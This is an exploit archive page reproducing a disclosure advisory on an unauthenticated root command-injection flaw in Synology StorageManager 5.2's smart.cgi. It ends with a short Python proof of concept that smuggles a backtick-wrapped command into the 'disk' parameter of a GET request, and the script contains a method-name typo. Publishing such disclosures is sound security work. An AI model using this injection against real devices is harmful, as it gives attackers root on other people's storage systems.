Twenty Year Anniversary

Synology StorageManager 5.2 Remote Command Execution

Synology StorageManager 5.2 Remote Command Execution
Posted Nov 29, 2017
Authored by securiteam

Synology StorageManager version 5.2 suffers from a remote root command execution vulnerability in smart.cgi.

tags | exploit, remote, cgi, root
MD5 | 0e725291dedfc743e647723b95b3a423

Synology StorageManager 5.2 Remote Command Execution

Change Mirror Download
'''
SSD Advisory a Synology StorageManager smart.cgi Remote Command Execution

Full report: https://blogs.securiteam.com/index.php/archives/3540
Twitter: @SecuriTeam_SSD
Weibo: SecuriTeam_SSD


i>>?Vulnerability Summary
The following advisory describes a remote command execution vulnerability
found in Synology StorageManager.

Storage Manager is aa management application that helps you organize and
monitor the storage capacity on your Synology NAS. Depending on the model
and number of installed hard drives, Storage Manager helps you accomplish
the following tasks:

Create different types of RAID and non-RAID storage configurations, such as
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
Monitor the overall storage usage of your Synology NAS.
Inspect the health of installed hard drives and solid state drives.
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and
more.a

Credit
An independent security researcher, Nigusu Kassahun, has reported this
vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program

Vendor response
Synology has released patches to address this vulnerability a DSM 5.2-5967-5

For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to
execve function.

Successful exploitation of this vulnerability enables a remote
unauthenticated user to run commands as root on the machine.

The vulnerable parameter can be found in
/webman/modules/StorageManager/smart.cgi with parameter
action=apply&operation=quick&disk=%2Fdev%2Fsda

Proof of Concept

===
'''

# Synology StorageManager <= 5.2 Remote Root Command Execution


import httplib


HOST = raw_input("Enter Host: ")


#IDOR to bypass auth and ticks to chain commands

conn = httplib.HTTPConnection(HOST)

conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")

res = conn.geresponse()

print res.status, res.reason

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    6 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    3 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close